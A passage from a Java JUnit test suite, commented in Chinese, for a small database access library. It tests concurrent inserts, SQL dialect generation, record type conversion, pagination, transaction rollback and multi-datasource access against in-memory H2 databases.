i = 0; i < threadCount; i++) {\n            final int idx = i;\n            executor.submit(() -> {\n                try {\n                    Db.execute(\"INSERT INTO user_info(user_name, age, email) VALUES(?, ?, ?)\",\n                            new Object[]{\"并发用户\" + idx, 20 + idx, \"concurrent\" + idx + \"@test.com\"});\n                    successCount.incrementAndGet();\n                } finally {\n                    latch.countDown();\n                }\n            });\n        }\n\n        latch.await(10, TimeUnit.SECONDS);\n        executor.shutdown();\n\n        assertEquals(threadCount, successCount.get());\n        assertEquals(threadCount, Db.queryForInt(\"SELECT count(*) FROM user_info\"));\n    }\n\n    @Test\n    public void testConcurrentRecordSaveAndFind() throws Exception {\n        int threadCount = 30;\n        ExecutorService executor = Executors.newFixedThreadPool(10);\n        CountDownLatch latch = new CountDownLatch(threadCount);\n        AtomicInteger saveSuccess = new AtomicInteger(0);\n\n        for (int i = 0; i < threadCount; i++) {\n            final int idx = i;\n            executor.submit(() -> {\n                try {\n                    Record record = new Record();\n                    record.set(\"user_name\", \"record_user_\" + idx);\n                    record.set(\"age\", 20 + idx);\n                    record.set(\"email\", \"rec\" + idx + \"@test.com\");\n                    if (Db.save(\"user_info\", \"id\", record)) {\n                        saveSuccess.incrementAndGet();\n                    }\n                } finally {\n                    latch.countDown();\n                }\n            });\n        }\n\n        latch.await(10, TimeUnit.SECONDS);\n        executor.shutdown();\n\n        assertEquals(threadCount, saveSuccess.get());\n        List<Record> all = Db.findAll(\"user_info\");\n        assertEquals(threadCount, all.size());\n    }\n\n    @Test\n    public void testConcurrentReadWrite() throws Exception {\n        // 先插入一些初始数据\n        for (int i = 1; i <= 10; i++) {\n            Db.execute(\"INSERT INTO user_info(user_name, age, email) VALUES(?, ?, ?)\",\n                    new Object[]{\"初始用户\" + i, 20 + i, \"init\" + i + \"@test.com\"});\n        }\n\n        int threadCount = 30;\n        ExecutorService executor = Executors.newFixedThreadPool(10);\n        CountDownLatch latch = new CountDownLatch(threadCount);\n        AtomicInteger errorCount = new AtomicInteger(0);\n\n        for (int i = 0; i < threadCount; i++) {\n            final int idx = i;\n            executor.submit(() -> {\n                try {\n                    if (idx % 3 == 0) {\n                        // 读操作\n                        List<Record> records = Db.findAll(\"user_info\");\n                        assertNotNull(records);\n                    } else if (idx % 3 == 1) {\n                        // 写操作\n                        Db.execute(\"INSERT INTO user_info(user_name, age, email) VALUES(?, ?, ?)\",\n                                new Object[]{\"新增用户\" + idx, 30 + idx, \"new\" + idx + \"@test.com\"});\n                    } else {\n                        // 查询操作\n                        int count = Db.queryForInt(\"SELECT count(*) FROM user_info\");\n                        assertTrue(count >= 10);\n                    }\n                } catch (Exception e) {\n                    errorCount.incrementAndGet();\n                } finally {\n                    latch.countDown();\n                }\n            });\n        }\n\n        latch.await(10, TimeUnit.SECONDS);\n        executor.shutdown();\n        assertEquals(0, errorCount.get());\n    }\n\n    // ==================== 3. Dialect forDbUpdate 排除主键列测试 ====================\n\n    @Test\n    public void testMysqlDialectForDbUpdateExcludesPK() {\n        MysqlDialect dialect = new MysqlDialect();\n        Record record = new Record();\n        record.set(\"id\", 1L);\n        record.set(\"user_name\", \"张三\");\n        record.set(\"age\", 25);\n\n        StringBuilder sql = new StringBuilder();\n        List<Object> paras = new ArrayList<>();\n        dialect.forDbUpdate(\"user_info\", new String[]{\"id\"}, new Object[]{1L}, record, sql, paras);\n\n        String sqlStr = sql.toString();\n        // SET子句中不应包含 `id`\n        int setIdx = sqlStr.indexOf(\" set \");\n        int whereIdx = sqlStr.indexOf(\" where \");\n        String setClause = sqlStr.substring(setIdx, whereIdx);\n        assertFalse(setClause.contains(\"`id` = ?\"));\n        assertTrue(setClause.contains(\"`user_name` = ?\"));\n        assertTrue(setClause.contains(\"`age` = ?\"));\n        // paras: 2个SET值 + 1个WHERE条件值(id)\n        assertEquals(3, paras.size());\n        // 最后一个参数一定是WHERE中的id值\n        assertEquals(1L, paras.get(paras.size() - 1));\n        // SET值中应包含\"张三\"和25（顺序不确定，HashMap无序）\n        assertTrue(paras.subList(0, 2).contains(\"张三\"));\n        assertTrue(paras.subList(0, 2).contains(25));\n    }\n\n    @Test\n    public void testOracleDialectForDbUpdateExcludesPK() {\n        OracleDialect dialect = new OracleDialect();\n        Record record = new Record();\n        record.set(\"ID\", 1L);\n        record.set(\"USER_NAME\", \"张三\");\n        record.set(\"AGE\", 25);\n\n        StringBuilder sql = new StringBuilder();\n        List<Object> paras = new ArrayList<>();\n        dialect.forDbUpdate(\"USER_INFO\", new String[]{\"ID\"}, new Object[]{1L}, record, sql, paras);\n\n        String sqlStr = sql.toString();\n        // ID不应在SET子句中\n        int setIdx = sqlStr.indexOf(\" set \");\n        int whereIdx = sqlStr.indexOf(\" where \");\n        String setClause = sqlStr.substring(setIdx, whereIdx);\n        assertFalse(setClause.contains(\"ID = ?\"));\n        assertTrue(setClause.contains(\"USER_NAME = ?\"));\n        assertTrue(setClause.contains(\"AGE = ?\"));\n        assertEquals(3, paras.size());\n    }\n\n    @Test\n    public void testPostgreSqlDialectForDbUpdateExcludesPK() {\n        PostgreSqlDialect dialect = new PostgreSqlDialect();\n        Record record = new Record();\n        record.set(\"id\", 1L);\n        record.set(\"user_name\", \"张三\");\n        record.set(\"age\", 25);\n\n        StringBuilder sql = new StringBuilder();\n        List<Object> paras = new ArrayList<>();\n        dialect.forDbUpdate(\"user_info\", new String[]{\"id\"}, new Object[]{1L}, record, sql, paras);\n\n        String sqlStr = sql.toString();\n        int setIdx = sqlStr.indexOf(\" set \");\n        int whereIdx = sqlStr.indexOf(\" where \");\n        String setClause = sqlStr.substring(setIdx, whereIdx);\n        assertFalse(setClause.contains(\"\\\"id\\\" = ?\"));\n        assertTrue(setClause.contains(\"\\\"user_name\\\" = ?\"));\n        assertTrue(setClause.contains(\"\\\"age\\\" = ?\"));\n        assertEquals(3, paras.size());\n    }\n\n    @Test\n    public void testSqlite3DialectForDbUpdateExcludesPK() {\n        Sqlite3Dialect dialect = new Sqlite3Dialect();\n        Record record = new Record();\n        record.set(\"id\", 1L);\n        record.set(\"user_name\", \"张三\");\n        record.set(\"age\", 25);\n\n        StringBuilder sql = new StringBuilder();\n        List<Object> paras = new ArrayList<>();\n        dialect.forDbUpdate(\"user_info\", new String[]{\"id\"}, new Object[]{1L}, record, sql, paras);\n\n        String sqlStr = sql.toString();\n        int setIdx = sqlStr.indexOf(\" set \");\n        int whereIdx = sqlStr.indexOf(\" where \");\n        String setClause = sqlStr.substring(setIdx, whereIdx);\n        assertFalse(setClause.contains(\"id = ?\"));\n        assertTrue(setClause.contains(\"user_name = ?\"));\n        assertTrue(setClause.contains(\"age = ?\"));\n        assertEquals(3, paras.size());\n    }\n\n    @Test\n    public void testDialectForDbUpdateCompositePK() {\n        MysqlDialect dialect = new MysqlDialect();\n        Record record = new Record();\n        record.set(\"user_id\", 1L);\n        record.set(\"role_id\", 2L);\n        record.set(\"permission\", \"admin\");\n\n        StringBuilder sql = new StringBuilder();\n        List<Object> paras = new ArrayList<>();\n        dialect.forDbUpdate(\"user_role\", new String[]{\"user_id\", \"role_id\"},\n                new Object[]{1L, 2L}, record, sql, paras);\n\n        String sqlStr = sql.toString();\n        // SET中只有permission\n        int setIdx = sqlStr.indexOf(\" set \");\n        int whereIdx = sqlStr.indexOf(\" where \");\n        String setClause = sqlStr.substring(setIdx, whereIdx);\n        assertFalse(setClause.contains(\"`user_id` = ?\"));\n        assertFalse(setClause.contains(\"`role_id` = ?\"));\n        assertTrue(setClause.contains(\"`permission` = ?\"));\n        // paras: permission值, user_id值, role_id值\n        assertEquals(3, paras.size());\n        assertEquals(\"admin\", paras.get(0));\n        assertEquals(1L, paras.get(1));\n        assertEquals(2L, paras.get(2));\n    }\n\n    // ==================== 4. Dialect其他SQL生成测试 ====================\n\n    @Test\n    public void testMysqlDialectForDbSave() {\n        MysqlDialect dialect = new MysqlDialect();\n        Record record = new Record();\n        record.set(\"user_name\", \"张三\");\n        record.set(\"age\", 25);\n\n        StringBuilder sql = new StringBuilder();\n        List<Object> paras = new ArrayList<>();\n        dialect.forDbSave(\"user_info\", new String[]{\"id\"}, record, sql, paras);\n\n        assertTrue(sql.toString().contains(\"insert into `user_info`\"));\n        assertTrue(sql.toString().contains(\"`user_name`\"));\n        assertEquals(2, paras.size());\n    }\n\n    @Test\n    public void testMysqlDialectForDbFindById() {\n        MysqlDialect dialect = new MysqlDialect();\n        String sql = dialect.forDbFindById(\"user_info\", new String[]{\"id\"});\n        assertEquals(\"select * from `user_info` where `id` = ?\", sql);\n    }\n\n    @Test\n    public void testMysqlDialectForDbDeleteById() {\n        MysqlDialect dialect = new MysqlDialect();\n        String sql = dialect.forDbDeleteById(\"user_info\", new String[]{\"id\"});\n        assertEquals(\"delete from `user_info` where `id` = ?\", sql);\n    }\n\n    @Test\n    public void testMysqlDialectForPaginate() {\n        MysqlDialect dialect = new MysqlDialect();\n        String sql = dialect.forPaginate(2, 10, new StringBuilder(\"SELECT * FROM user_info\"));\n        assertTrue(sql.contains(\"limit 10, 10\"));\n    }\n\n    @Test\n    public void testOracleDialectForPaginate() {\n        OracleDialect dialect = new OracleDialect();\n        String sql = dialect.forPaginate(2, 10, new StringBuilder(\"SELECT * FROM user_info\"));\n        assertTrue(sql.contains(\"rownum\"));\n        assertTrue(sql.contains(\"20\")); // end = page * size\n        assertTrue(sql.contains(\"10\")); // start = (page-1) * size\n    }\n\n    @Test\n    public void testPostgreSqlDialectForPaginate() {\n        PostgreSqlDialect dialect = new PostgreSqlDialect();\n        String sql = dialect.forPaginate(2, 10, new StringBuilder(\"SELECT * FROM user_info\"));\n        assertTrue(sql.contains(\"limit 10\"));\n        assertTrue(sql.contains(\"offset 10\"));\n    }\n\n    @Test\n    public void testSqlite3DialectForPaginate() {\n        Sqlite3Dialect dialect = new Sqlite3Dialect();\n        String sql = dialect.forPaginate(2, 10, new StringBuilder(\"SELECT * FROM user_info\"));\n        assertTrue(sql.contains(\"limit 10, 10\"));\n    }\n\n    @Test\n    public void testDialectIsPrimaryKey() {\n        MysqlDialect dialect = new MysqlDialect();\n        assertTrue(dialect.isPrimaryKey(\"id\", new String[]{\"id\"}));\n        assertTrue(dialect.isPrimaryKey(\"ID\", new String[]{\"id\"})); // 大小写不敏感\n        assertFalse(dialect.isPrimaryKey(\"name\", new String[]{\"id\"}));\n    }\n\n    @Test\n    public void testDialectIsOracle() {\n        assertFalse(new MysqlDialect().isOracle());\n        assertTrue(new OracleDialect().isOracle());\n        assertFalse(new PostgreSqlDialect().isOracle());\n        assertFalse(new Sqlite3Dialect().isOracle());\n    }\n\n    @Test\n    public void testDialectReplaceOrderBy() {\n        MysqlDialect dialect = new MysqlDialect();\n        String sql = \"FROM user_info ORDER BY id ASC\";\n        String result = dialect.replaceOrderBy(sql);\n        assertFalse(result.contains(\"ORDER BY\"));\n    }\n\n    @Test\n    public void testDialectForPaginateTotalRow() {\n        MysqlDialect dialect = new MysqlDialect();\n        String totalRowSql = dialect.forPaginateTotalRow(\"SELECT *\", \"FROM user_info ORDER BY id\", null);\n        assertTrue(totalRowSql.startsWith(\"select count(*)\"));\n        assertFalse(totalRowSql.contains(\"ORDER BY\"));\n    }\n\n    // ==================== 5. Record类型转换边界测试 ====================\n\n    @Test\n    public void testRecordGetStrFromNumber() {\n        Record record = new Record().set(\"val\", 123);\n        assertEquals(\"123\", record.getStr(\"val\"));\n    }\n\n    @Test\n    public void testRecordGetStrNull() {\n        Record record = new Record();\n        assertNull(record.getStr(\"missing\"));\n    }\n\n    @Test\n    public void testRecordGetIntFromLong() {\n        Record record = new Record().set(\"val\", 100L);\n        assertEquals(Integer.valueOf(100), record.getInt(\"val\"));\n    }\n\n    @Test\n    public void testRecordGetIntFromString() {\n        Record record = new Record().set(\"val\", \"42\");\n        assertEquals(Integer.valueOf(42), record.getInt(\"val\"));\n    }\n\n    @Test\n    public void testRecordGetIntNull() {\n        Record record = new Record();\n        assertNull(record.getInt(\"missing\"));\n    }\n\n    @Test\n    public void testRecordGetLongFromInt() {\n        Record record = new Record().set(\"val\", 100);\n        assertEquals(Long.valueOf(100L), record.getLong(\"val\"));\n    }\n\n    @Test\n    public void testRecordGetLongFromString() {\n        Record record = new Record().set(\"val\", \"9999999999\");\n        assertEquals(Long.valueOf(9999999999L), record.getLong(\"val\"));\n    }\n\n    @Test\n    public void testRecordGetDoubleFromInt() {\n        Record record = new Record().set(\"val\", 42);\n        assertEquals(Double.valueOf(42.0), record.getDouble(\"val\"));\n    }\n\n    @Test\n    public void testRecordGetDoubleFromString() {\n        Record record = new Record().set(\"val\", \"3.14\");\n        assertEquals(3.14, record.getDouble(\"val\"), 0.001);\n    }\n\n    @Test\n    public void testRecordGetFloatFromDouble() {\n        Record record = new Record().set(\"val\", 3.14);\n        assertEquals(3.14f, record.getFloat(\"val\"), 0.01f);\n    }\n\n    @Test\n    public void testRecordGetFloatFromString() {\n        Record record = new Record().set(\"val\", \"2.5\");\n        assertEquals(2.5f, record.getFloat(\"val\"), 0.01f);\n    }\n\n    @Test\n    public void testRecordGetBooleanNull() {\n        Record record = new Record();\n        assertNull(record.getBoolean(\"missing\"));\n    }\n\n    @Test\n    public void testRecordGetBigDecimal() {\n        BigDecimal bd = new BigDecimal(\"123.456\");\n        Record record = new Record().set(\"val\", bd);\n        assertEquals(bd, record.getBigDecimal(\"val\"));\n    }\n\n    @Test\n    public void testRecordGetBigInteger() {\n        BigInteger bi = new BigInteger(\"123456789012345678901234567890\");\n        Record record = new Record().set(\"val\", bi);\n        assertEquals(bi, record.getBigInteger(\"val\"));\n    }\n\n    @Test\n    public void testRecordGetNumber() {\n        Record record = new Record().set(\"val\", 42);\n        assertEquals(42, record.getNumber(\"val\").intValue());\n    }\n\n    @Test\n    public void testRecordGetBytes() {\n        byte[] data = {1, 2, 3, 4, 5};\n        Record record = new Record().set(\"val\", data);\n        assertArrayEquals(data, record.getBytes(\"val\"));\n    }\n\n    @Test\n    public void testRecordGetWithDefault() {\n        Record record = new Record().set(\"a\", 1);\n        assertEquals(1, (int) record.get(\"a\", 99));\n        assertEquals(99, (int) record.get(\"b\", 99));\n    }\n\n    @Test\n    public void testRecordSetColumnsFromRecord() {\n        Record r1 = new Record().set(\"a\", 1).set(\"b\", 2);\n        Record r2 = new Record().set(\"c\", 3);\n        r2.setColumns(r1);\n        assertEquals(1, (int) r2.get(\"a\"));\n        assertEquals(2, (int) r2.get(\"b\"));\n        assertEquals(3, (int) r2.get(\"c\"));\n    }\n\n    @Test\n    public void testRecordRemoveMultipleColumns() {\n        Record record = new Record().set(\"a\", 1).set(\"b\", 2).set(\"c\", 3).set(\"d\", 4);\n        record.remove(\"a\", \"c\");\n        assertNull(record.get(\"a\"));\n        assertNull(record.get(\"c\"));\n        assertEquals(2, record.getColumns().size());\n    }\n\n    @Test\n    public void testRecordClear() {\n        Record record = new Record().set(\"a\", 1).set(\"b\", 2);\n        record.clear();\n        assertEquals(0, record.getColumns().size());\n    }\n\n    @Test\n    public void testRecordToModel() {\n        Record record = new Record().set(\"USER_NAME\", \"测试\").set(\"AGE\", 25);\n\n        TestUserModel model = record.toModel(TestUserModel.class);\n        assertNotNull(model);\n        assertEquals(\"测试\", model.getStr(\"USER_NAME\"));\n        assertEquals(25, (int) model.getInt(\"AGE\"));\n    }\n\n    // ==================== 6. RecordUtil边界测试 ====================\n\n    @Test\n    public void testToUnderlineCaseEdgeCases() {\n        assertNull(RecordUtil.toUnderlineCase(null));\n        assertEquals(\"id\", RecordUtil.toUnderlineCase(\"id\"));\n        assertEquals(\"user_name\", RecordUtil.toUnderlineCase(\"userName\"));\n        assertEquals(\"create_time\", RecordUtil.toUnderlineCase(\"createTime\"));\n        assertEquals(\"HTML_parser\", RecordUtil.toUnderlineCase(\"HTMLParser\"));\n        assertEquals(\"my_URL\", RecordUtil.toUnderlineCase(\"myURL\"));\n    }\n\n    @Test\n    public void testToCamelCaseEdgeCases() {\n        assertNull(RecordUtil.toCamelCase(null));\n        assertEquals(\"id\", RecordUtil.toCamelCase(\"id\"));\n        assertEquals(\"userName\", RecordUtil.toCamelCase(\"user_name\"));\n        assertEquals(\"createTime\", RecordUtil.toCamelCase(\"create_time\"));\n        // 无下划线的字段保持原样\n        assertEquals(\"username\", RecordUtil.toCamelCase(\"username\"));\n    }\n\n    @Test\n    public void testMapToRecordNull() {\n        Record record = RecordUtil.mapToRecord(null);\n        assertNotNull(record);\n        assertTrue(record.getColumns().isEmpty());\n    }\n\n    @Test\n    public void testMapToRecordsNull() {\n        List<Record> records = RecordUtil.mapToRecords(null);\n        assertNotNull(records);\n        assertTrue(records.isEmpty());\n    }\n\n    @Test\n    public void testMapToRecordsEmpty() {\n        List<Record> records = RecordUtil.mapToRecords(new ArrayList<>());\n        assertNotNull(records);\n        assertTrue(records.isEmpty());\n    }\n\n    @Test\n    public void testRecordToMapNull() {\n        Map<String, Object> map = RecordUtil.recordToMap(null);\n        assertNotNull(map);\n        assertTrue(map.isEmpty());\n    }\n\n    @Test\n    public void testRecordToMapsNull() {\n        List<Map<String, Object>> maps = RecordUtil.recordToMaps(null);\n        assertNotNull(maps);\n        assertTrue(maps.isEmpty());\n    }\n\n    @Test\n    public void testRecordToMapsEmpty() {\n        List<Map<String, Object>> maps = RecordUtil.recordToMaps(new ArrayList<>());\n        assertNotNull(maps);\n        assertTrue(maps.isEmpty());\n    }\n\n    @Test\n    public void testMapToBeanNull() {\n        Object result = RecordUtil.mapToBean(null, Object.class);\n        assertNull(result);\n    }\n\n    @Test\n    public void testMapToBeanEmpty() {\n        Object result = RecordUtil.mapToBean(new HashMap<>(), Object.class);\n        assertNull(result);\n    }\n\n    @Test\n    public void testMapToBeansNull() {\n        List<Object> result = RecordUtil.mapToBeans(null, Object.class);\n        assertNotNull(result);\n        assertTrue(result.isEmpty());\n    }\n\n    @Test\n    public void testRecordToBeanNull() {\n        Object result = RecordUtil.recordToBean(null, Object.class);\n        assertNull(result);\n    }\n\n    @Test\n    public void testRecordToBeansNull() {\n        List<Object> result = RecordUtil.recordToBeans(null, Object.class);\n        assertNotNull(result);\n        assertTrue(result.isEmpty());\n    }\n\n    @Test\n    public void testRecordToBeansEmpty() {\n        List<Object> result = RecordUtil.recordToBeans(new ArrayList<>(), Object.class);\n        assertNotNull(result);\n        assertTrue(result.isEmpty());\n    }\n\n    @Test\n    public void testPageRecordToPageMapNull() {\n        Page<Map<String, Object>> result = RecordUtil.pageRecordToPageMap(null);\n        assertNull(result);\n    }\n\n    @Test\n    public void testBeanToRecordsNull() {\n        List<Record> result = RecordUtil.beanToRecords(null);\n        assertNotNull(result);\n        assertTrue(result.isEmpty());\n    }\n\n    @Test\n    public void testBeanToRecordsEmpty() {\n        List<Record> result = RecordUtil.beanToRecords(new ArrayList<>());\n        assertNotNull(result);\n        assertTrue(result.isEmpty());\n    }\n\n    @Test\n    public void testBeanToMapsNull() {\n        List<Map<String, Object>> result = RecordUtil.beanToMaps(null);\n        assertNotNull(result);\n        assertTrue(result.isEmpty());\n    }\n\n    @Test\n    public void testFormatSqlWithParams() {\n        String sql = \"SELECT * FROM user WHERE name = ? AND age = ?\";\n        String formatted = RecordUtil.formatSql(sql, new Object[]{\"test\", 25});\n        assertEquals(\"SELECT * FROM user WHERE name = 'test' AND age = '25'\", formatted);\n    }\n\n    @Test\n    public void testFormatSqlNoParams() {\n        String sql = \"SELECT * FROM user\";\n        assertEquals(sql, RecordUtil.formatSql(sql, null));\n        assertEquals(sql, RecordUtil.formatSql(sql, new Object[]{}));\n    }\n\n    // ==================== 7. RecordUtil反射元数据缓存测试 ====================\n\n    @Test\n    public void testFieldMetaCacheConsistency() {\n        // 调用两次应返回相同的缓存结果\n        List<RecordUtil.FieldMeta> metas1 = RecordUtil.getFieldMetas(TestEntity.class);\n        List<RecordUtil.FieldMeta> metas2 = RecordUtil.getFieldMetas(TestEntity.class);\n        assertSame(metas1, metas2); // 同一个对象引用\n    }\n\n    @Test\n    public void testFieldMetaWithAnnotations() {\n        List<RecordUtil.FieldMeta> metas = RecordUtil.getFieldMetas(AnnotatedEntity.class);\n        Map<String, String> fieldColumnMap = new HashMap<>();\n        for (RecordUtil.FieldMeta meta : metas) {\n            fieldColumnMap.put(meta.field.getName(), meta.columnName);\n        }\n        // @Column(name = \"email_addr\") 应解析为 email_addr\n        assertEquals(\"email_addr\", fieldColumnMap.get(\"email\"));\n        // @Transient 字段应为 null\n        assertNull(fieldColumnMap.get(\"tempField\"));\n        // 普通字段应转下划线\n        assertEquals(\"user_name\", fieldColumnMap.get(\"userName\"));\n    }\n\n    @Test\n    public void testGetTableNameJpa() {\n        assertEquals(\"t_entity\", RecordUtil.getTableName(AnnotatedEntity.class));\n    }\n\n    @Test\n    public void testGetTableNameByClassName() {\n        assertEquals(\"test_entity\", RecordUtil.getTableName(TestEntity.class));\n    }\n\n    @Test\n    public void testGetTableNameFromInstance() {\n        TestEntity entity = new TestEntity();\n        assertEquals(\"test_entity\", RecordUtil.getTableName(entity));\n    }\n\n    @Test\n    public void testAllFieldsInheritanceChain() {\n        List<Field> fields = RecordUtil.allFields(ChildEntity.class);\n        Set<String> fieldNames = new HashSet<>();\n        for (Field f : fields) {\n            fieldNames.add(f.getName());\n        }\n        // 应包含子类和父类字段\n        assertTrue(fieldNames.contains(\"childField\"));\n        assertTrue(fieldNames.contains(\"id\"));\n        assertTrue(fieldNames.contains(\"userName\"));\n    }\n\n    @Test\n    public void testBeanToRecordInheritance() {\n        ChildEntity child = new ChildEntity();\n        child.id = 1L;\n        child.userName = \"parent_field\";\n        child.childField = \"child_value\";\n\n        Record record = RecordUtil.beanToRecord(child);\n        assertEquals(Long.valueOf(1L), record.get(\"id\"));\n        assertEquals(\"parent_field\", record.get(\"user_name\"));\n        assertEquals(\"child_value\", record.get(\"child_field\"));\n    }\n\n    // ==================== 8. DbException测试 ====================\n\n    @Test\n    public void testDbExceptionWithCause() {\n        Exception cause = new RuntimeException(\"root cause\");\n        DbException ex = new DbException(\"test message\", cause);\n        assertEquals(\"test message\", ex.getMessage());\n        assertSame(cause, ex.getCause());\n    }\n\n    @Test\n    public void testDbExceptionWithSql() {\n        Exception cause = new RuntimeException(\"sql error\");\n        DbException ex = new DbException(cause, \"SELECT * FROM bad_table\");\n        assertTrue(ex.getMessage().contains(\"SELECT * FROM bad_table\"));\n        assertSame(cause, ex.getCause());\n    }\n\n    @Test(expected = DbException.class)\n    public void testDbExceptionOnInvalidSql() {\n        Db.execute(\"COMPLETELY INVALID SQL 12345\");\n    }\n\n    @Test(expected = DbException.class)\n    public void testDbExceptionOnQueryInvalidSql() {\n        Db.queryList(\"SELECT * FROM non_existent_table_xyz\");\n    }\n\n    // ==================== 9. 分页边界测试 ====================\n\n    @Test\n    public void testPaginateEmptyTable() {\n        Page<Record> page = Db.paginate(1, 10, \"SELECT *\", \"FROM user_info\");\n        assertNotNull(page);\n        assertEquals(0, page.getList().size());\n        assertEquals(0, page.getTotalRow());\n        assertEquals(0, page.getTotalPage());\n    }\n\n    @Test(expected = DbException.class)\n    public void testPaginateInvalidPageNumber() {\n        Db.paginate(0, 10, \"SELECT *\", \"FROM user_info\");\n    }\n\n    @Test(expected = DbException.class)\n    public void testPaginateInvalidPageSize() {\n        Db.paginate(1, 0, \"SELECT *\", \"FROM user_info\");\n    }\n\n    @Test\n    public void testPaginatePageExceedsTotal() {\n        for (int i = 1; i <= 5; i++) {\n            Db.execute(\"INSERT INTO user_info(user_name, age) VALUES(?, ?)\",\n                    new Object[]{\"用户\" + i, 20 + i});\n        }\n        Page<Record> page = Db.paginate(999, 10, \"SELECT *\", \"FROM user_info ORDER BY id\");\n        assertNotNull(page);\n        assertEquals(0, page.getList().size());\n        assertEquals(5, page.getTotalRow());\n    }\n\n    @Test\n    public void testPaginateByFullSqlWithParams() {\n        for (int i = 1; i <= 20; i++) {\n            Db.execute(\"INSERT INTO user_info(user_name, age) VALUES(?, ?)\",\n                    new Object[]{\"用户\" + i, 20 + i});\n        }\n        Page<Record> page = Db.paginateByFullSql(1, 5,\n                \"SELECT count(*) FROM user_info WHERE age > ?\",\n                \"SELECT * FROM user_info WHERE age > ? ORDER BY id\",\n                25);\n        assertNotNull(page);\n        assertTrue(page.getList().size() <= 5);\n        assertTrue(page.getTotalRow() > 0);\n    }\n\n    @Test\n    public void testPaginateLastPage() {\n        for (int i = 1; i <= 23; i++) {\n            Db.execute(\"INSERT INTO user_info(user_name, age) VALUES(?, ?)\",\n                    new Object[]{\"用户\" + i, 20 + i});\n        }\n        Page<Record> page = Db.paginate(3, 10, \"SELECT *\", \"FROM user_info ORDER BY id\");\n        assertNotNull(page);\n        assertEquals(3, page.getList().size()); // 23 - 20 = 3 records on last page\n        assertEquals(3, page.getPageNumber());\n        assertEquals(3, page.getTotalPage());\n        assertEquals(23, page.getTotalRow());\n    }\n\n    // ==================== 10. 事务边界测试 ====================\n\n    @Test\n    public void testTxExceptionCausesRollback() {\n        try {\n            Db.tx(() -> {\n                Db.execute(\"INSERT INTO user_info(user_name, age) VALUES('tx_test', 20)\");\n                throw new SQLException(\"模拟异常\");\n            });\n            fail(\"Should have thrown exception\");\n        } catch (RuntimeException e) {\n            // 预期\n        }\n        assertEquals(0, Db.queryForInt(\"SELECT count(*) FROM user_info\"));\n    }\n\n    @Test\n    public void testDoInTransactionRollbackOnError() {\n        BatchSql batchSql = new BatchSql();\n        batchSql.addBatch(\"INSERT INTO user_info(user_name, age) VALUES(?, ?)\",\n                new Object[]{\"事务用户1\", 20});\n        batchSql.addBatch(\"INSERT INTO non_existent_table(bad_col) VALUES(?)\",\n                new Object[]{\"will_fail\"});\n\n        try {\n            Db.doInTransaction(batchSql);\n            fail(\"Should have thrown exception\");\n        } catch (DbException e) {\n            // 预期\n        }\n        // 由于事务回滚，第一条插入也不应存在\n        assertEquals(0, Db.queryForInt(\"SELECT count(*) FROM user_info\"));\n    }\n\n    @Test\n    public void testDoInTransactionNullBatchSql() {\n        int result = Db.doInTransaction(null);\n        assertEquals(0, result);\n    }\n\n    // ==================== 11. BatchSql测试 ====================\n\n    @Test\n    public void testBatchSqlWithTypedList() {\n        BatchSql batchSql = new BatchSql();\n        List<Object> params = new ArrayList<>();\n        params.add(\"test_user\");\n        params.add(25);\n        batchSql.addBatch(\"INSERT INTO user_info(user_name, age) VALUES(?, ?)\", params);\n\n        assertEquals(1, batchSql.getSqlList().size());\n        Object[] objects = (Object[]) batchSql.getSqlList().get(0).get(\"objects\");\n        assertEquals(\"test_user\", objects[0]);\n        assertEquals(25, objects[1]);\n    }\n\n    @Test\n    public void testBatchSqlNoArgs() {\n        BatchSql batchSql = new BatchSql();\n        batchSql.addBatch(\"DELETE FROM user_info\");\n        assertEquals(1, batchSql.getSqlList().size());\n        Object[] objects = (Object[]) batchSql.getSqlList().get(0).get(\"objects\");\n        assertEquals(0, objects.length);\n    }\n\n    @Test\n    public void testBatchSqlClearBatch() {\n        BatchSql batchSql = new BatchSql();\n        batchSql.addBatch(\"SQL1\");\n        batchSql.addBatch(\"SQL2\");\n        assertEquals(2, batchSql.getSqlList().size());\n\n        batchSql.clearBatch();\n        assertEquals(0, batchSql.getSqlList().size());\n    }\n\n    // ==================== 12. Page对象测试 ====================\n\n    @Test\n    public void testPageDefaultConstructor() {\n        Page<String> page = new Page<>();\n        page.setList(Arrays.asList(\"a\", \"b\"));\n        page.setPageNumber(1);\n        page.setPageSize(10);\n        page.setTotalPage(1);\n        page.setTotalRow(2);\n\n        assertEquals(2, page.getList().size());\n        assertEquals(1, page.getPageNumber());\n        assertEquals(10, page.getPageSize());\n        assertEquals(1, page.getTotalPage());\n        assertEquals(2, page.getTotalRow());\n    }\n\n    @Test\n    public void testPageWithConstructor() {\n        List<Integer> data = Arrays.asList(1, 2, 3, 4, 5);\n        Page<Integer> page = new Page<>(data, 2, 5, 4, 20);\n\n        assertEquals(5, page.getList().size());\n        assertEquals(2, page.getPageNumber());\n        assertEquals(5, page.getPageSize());\n        assertEquals(4, page.getTotalPage());\n        assertEquals(20, page.getTotalRow());\n    }\n\n    // ==================== 13. 多数据源并发测试 ====================\n\n    @Test\n    public void testConcurrentMultiDatasourceAccess() throws Exception {\n        // 创建两个独立数据源\n        DruidDataSource ds1 = new DruidDataSource();\n        ds1.setUrl(\"jdbc:h2:mem:multi_ds_1;DB_CLOSE_DELAY=-1;MODE=MySQL\");\n        ds1.setUsername(\"sa\");\n        ds1.setPassword(\"\");\n        ds1.setDriverClassName(\"org.h2.Driver\");\n        Db.init(\"multi_1\", ds1);\n        Db.use(\"multi_1\").execute(\"CREATE TABLE IF NOT EXISTS test_t (id INT PRIMARY KEY, name VARCHAR(100))\");\n\n        DruidDataSource ds2 = new DruidDataSource();\n        ds2.setUrl(\"jdbc:h2:mem:multi_ds_2;DB_CLOSE_DELAY=-1;MODE=MySQL\");\n        ds2.setUsername(\"sa\");\n        ds2.setPassword(\"\");\n        ds2.setDriverClassName(\"org.h2.Driver\");\n        Db.init(\"multi_2\", ds2);\n        Db.use(\"multi_2\").execute(\"CREATE TABLE IF NOT EXISTS test_t (id INT PRIMARY KEY, name VARCHAR(100))\");\n\n        int threadCount = 20;\n        ExecutorService executor = Executors.newFixedThreadPool(10);\n        CountDownLatch latch = new CountDownLatch(threadCount);\n        AtomicInteger errorCount = new AtomicInteger(0);\n\n        for (int i = 0; i < threadCount; i++) {\n            final int idx = i;\n            executor.submit(() -> {\n                try {\n                    String dsName = (idx % 2 == 0) ? \"multi_1\" : \"multi_2\";\n                    DbPro db = Db.use(dsName);\n                    db.execute(\"INSERT INTO test_t(id, name) VALUES(?, ?)\",\n                            new Object[]{idx, \"user_\" + idx});\n                } catch (Exception e) {\n                    errorCount.incrementAndGet();\n                } finally {\n                    